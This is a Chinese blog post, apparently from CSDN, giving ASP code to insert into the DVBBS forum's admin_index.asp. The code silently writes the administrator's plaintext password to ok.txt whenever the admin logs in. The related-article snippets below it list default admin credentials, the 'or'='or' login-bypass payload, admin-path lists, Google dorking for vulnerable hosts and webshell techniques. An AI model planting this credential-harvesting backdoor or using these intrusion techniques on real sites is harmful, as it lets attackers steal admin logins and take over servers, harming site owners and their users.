修改admin_index.asp得到明文DVBBS后台密码

最新推荐文章于 2023-09-13 00:44:25 发布
原创 最新推荐文章于 2023-09-13 00:44:25 发布 · 6.4k 阅读 · 1 ·
本内容遵循CC 4.0 BY-SA版权协议
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
博客给出一段代码，在“username=trim(replace(request(\username\)”后，通过创建对象将管理员登录后台的明文密码记录到ok.txt文件中，只要管理员登录后台，该文件就会在目录下生成。

在"username=trim(replace(request("username")这行后面
Dim fsoObject
Dim tsObject
Set fsoObject = Server.CreateObject("Scripting.FileSystemObject")
set tsObject = fsoObject.CreateTextFile(Server.MapPath("ok.txt"))
tsObject.Write CStr(request("password"))
Set fsoObject = Nothing
Set tsObject = Nothing

只要管理员登陆后台，在目录下就生成了ok.txt，里面就记录了明文密码

asp后台管理系统 无限制版
02-24
完全基于 asp.net 2.0 ajax 开发的新一代网站管理系统, 完全WEB2.0的系统, 全球第一款采用web os方式管理网站的创时代性CMS系统. 本系统集开发者八年CMS系统开发经验之大成, 界面简洁实用,功能强大,安全稳定,运行速度快. 系统扩展性好,支付无限下级的栏目设置, 每一个栏目都可以设置不同的数据模型, 每个栏目都可以设置完全不同的显示样式. 系统权限控制灵活方便,每个栏目都可以独立设置权限,每个文章,每条数据,都可以独立设置权限. 用户管理也非常强大,可以自定义用户注册资料的字段和数据类型, 完全可视化的自定义标签,无需记忆任何标签参数, 系统可以动态方式,也可以全部生成静态页,由于采用了专门的技术处理,生成静态页后,并不影响系统权限的设置,在静态页方式下,系统的权限设置依然有效. 系统的统计功能可以区别生物和各种机器人程序,让你能非常清楚你网站的人流量和搜索引擎的收录情况. 系统使用SQL数据库, 即使是免费版本,也是使用SQL数据库和存储过程,系统性能非常优异, 在100万页面, 用动态方式的情况下, 依然运转如飞. 默认管理员用户名 admin 密码 admin888
宜兴市人民医院全站系统
02-23
管理登陆：admin/admin_index.asp用户名/密码：admin/admin888
asp 退出登录修改cookie能进入后台_FastAdmin后台GetShell
weixin_39652869的博客
11-25 525
点击上方蓝字 关注我们吧0x01前言FastAdmin是基于ThinkPHP5和Bootstrap的后台框架，可以利用三方插件GetShell0x02本地测试FastAdmin官方源码下载地址：https://www.fastadmin.net/download.html开启phpstudy本地搭建安装成功，新版源码的后台地址是随机生成的后台默认会有插件管理功能，但是绝大部分用户会...
aspcms 可以改成MySQL_ASPCMS免改数据库 快速修改后台登陆密码-♚付涛纪实阁♚
weixin_29665183的博客
01-27 352
很多时候我们在面对自己网站的时候，时间久了都会出现忘记密码无法登陆的情况；这个时候通过我们都采用直接以下三种办法一解决；忘记管理密码修复方案一如果是ASP语言下的ACCESS数据库，则可以直接通过下载ACCESS软件，直接打开，找到对应的管理员表，然后复制里面的32位或64位的MD5或HASH加密字符串，前往MD5在线或HASH在线解密网站进行解密(通常状态下，解密是失败的或提示要求付费的)忘记管...
ASP只允许指定IP访问网站管理后台 黑客有帐号密码也没用
zhuzhu侠
11-22 796
'下面的例子只允许127.0.0.1登陆后台 或者10.110.8.8 10.110.8.8 这个是管理员自己的远程IP ＇限制指定IP断 黑客就算得到后台密码 也无法登陆 adminIP=Request.ServerVariables("REMOTE_ADDR") if (left(adminIP,10)="110.8.8") or (adminIP="127.0.0.1") then ＇允许
登录自动填密码php,192 实现自动登录无限路由器后台管理网页，可以记住自己输入的密码 WEB(ASP,PHP,...) 238万源代码下载- www.pudn.com...
weixin_28754395的博客
03-13 245
文件名称: 192下载 收藏√ [5 4 3 2 1]开发工具: C#文件大小: 57 KB上传时间: 2015-04-06下载次数: 0提 供 者: 黄橙详细说明：实现自动登录无限路由器后台管理网页，可以记住自己输入的密码-Log in the management of router文件列表(点击判断是否您需要的文件，如果是垃圾请在下面评价投诉):WindowsFormsApp...
获得DVBBS的所有密码新方法
11-13 816
 我们知道以前,获得webshell后想进入DVBBS的后台,想要管理员的密码可以这样:老办法:修改admin_index.asp得到明文DVBBS后台密码 在"username=trim(replace(request("username")这行后面 Dim fsoObject Dim tsObject Set fsoObject = Server.CreateObject("Scripting
关于"截取动网BBS的用户密码"一文的校正
雷纳德的专栏
04-24 997
原文说：要在它验证的前面得到它的密码，所以，我在Function Dvbbs_ChkLogin后面加上Code: dim dbpath,rstmp,str,rs,con 　　 set con=server.createobject("adodb.connection") 　　 DBPath = Server.MapPath("example.mdb") 　　 con.Open "driver={
利用万能密码登陆网站后台原理及漏洞修复方法
热门推荐
chance2015的博客
12-25 2万+
万能密码这是个比较老的漏洞了，如果你的网站存在这个漏洞，结果肯定非常的悲剧。任何一个初学黑客技术的新人都能很轻松的入侵掉你的网站。因为需要入侵存在这种漏洞的网站不存在任何的技术含量，简单打个密码就行。。但如今还有很多网站管理员都没重视。。以至于让自己的服务器沦落成业内人士常说“万人骑” 要修复此漏洞首先需要了解该漏洞的原理，是什么愿意导致漏洞的产生。   下面就来解释下给大家吧! 原理是这样
动力3.51asp说明|动力后台说明|ASP后台说明
weixin_34240520的博客
03-15 338
1、addmin_admin.asp 后台管理--管理员管理2、admin_adminModifyPwd 后台管理--修改管理员密码3、admin_advertisement.asp后台管理--广告管理4、admin_announce.asp 后台管理--公...
Google搜索语法
qq_45751902的博客
10-28 614
使用 Google 等搜索引擎对某些特定的网络主机漏洞（通常是服务器上的脚本漏洞）进行搜索，以达到快速找到漏洞主机或特定主机的漏洞的目的。Google 毫无疑问是当今世界上最强大的搜索引擎。然而，在黑客手中，它也是一个秘密武器，它能搜索到一些你意想不到的信息。所有处于公网的网站均可被收录，比百度、必应强很多。
大型门户网免费完整版 本系统后台路径: /admin/index.asp 后台用户名: admin后台密码: admin
10-07
大型门户网免费完整版 本系统后台路径: /admin/index.asp 后台用户名: admin后台密码: admin
asp.net在线报名系统
10-27
此在线报名系统比较详细的表达演示了如何使用js正则表达式进行客户的操作、验证，可以作为学习客户的编码的实例参考。
admin后台页面
04-12
NULL 博文链接：https://firebata.iteye.com/blog/1707069
45种方法攻入后台
java_java_cl的博客
07-17 9669
1、到Google搜索，site:cq.cn inurl:asp 2、到Google，搜索一些关键字，edit.asp? 韩国肉鸡为多，多数为MSSQL数据库! 3、利用挖掘鸡和一个ASP木马： 文件名是login.asp …… 路径组是/manage/ 关键词是went.asp 用’or’='or’来登陆 4、以下这个方法因为太多人做过，所以一些网站管理员对此都有防范之心了，成功率不高: 关键字：“Co Net MIB Ver 1.0网站后台管理系统” 帐号密码为 ‘or’='or’ 5、动感购物系统，呵
后台管理登陆口一般都如何进入？
weixin_43666497的博客
05-16 9806
找到使用的网站源码，一般情况下网站的后台都有默认的地址： /admin(一般目录是） /cms /admin/login…asp /admin/index.asp /manage/index.asp /manage/login.asp /admin.aps /admin/php /admin/aspx /system /admin/login.aspx(看网站的网站格式） /manage/inde...
网站后台登录地址大全
chance2015的博客
12-25 2万+
/admin/index.asp   /admin/login.asp   /admin/admin_login.asp   /manage/index.asp   /manage/login.asp   /manage/admin_login.asp   /admin/index.aspx  /admin/login.aspx  /admin/admin_login.aspx 
网站渗透
06-11 797
本文总结了一些常用的网站渗透技巧，希望对大家有所帮助。 1.利用网站过滤不严直接绕过后台验证，在网站后面加上 admin/session.asp 或 admin/left.asp 2.有的网站进后台会出现一个脚本提示框，输入：administrator 即可突破!admin代表以管理员身份进入的意思。 3.有的网站开了3389，入侵之前先去连接3389，尝试弱口令或是爆破
教你如何快速找到网站管理后台
不定时分享最优质的网络技术与教程，满满的干货。
09-13 1万+
大部分网站设计更多是考虑用户业务的实现，而软件开发商和网站的系统运维人员对攻击技术和网站的维护并不了解，在使用的过程中未能发现可能存在的安全漏洞。黑客一般可以较好利用这些漏洞为自己谋取利益。 接下来这篇文章,就和大家讲讲 ,一般是如何获取网站后台地址的 . 目前比较常见的 分析方法通常有以下几种
解决 在 自己 “主页登录”后， 在新打开的浏览器中，打开Dvbbs论坛时，自动登录的问题, verse visa...
weixin_34290000的博客
02-04 367
方法是：利用从http://bbs.dvbbs.net/dispbbs.asp?Boardid=134&ID=1237421&replyID=2188857&skin=1下载的 SLogin.asp  文件。 将 下列代码放在 需要登录的网页（自己的主页）上即可。<iframe src="forum/Slogin.asp" scrolling="no" framebo...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值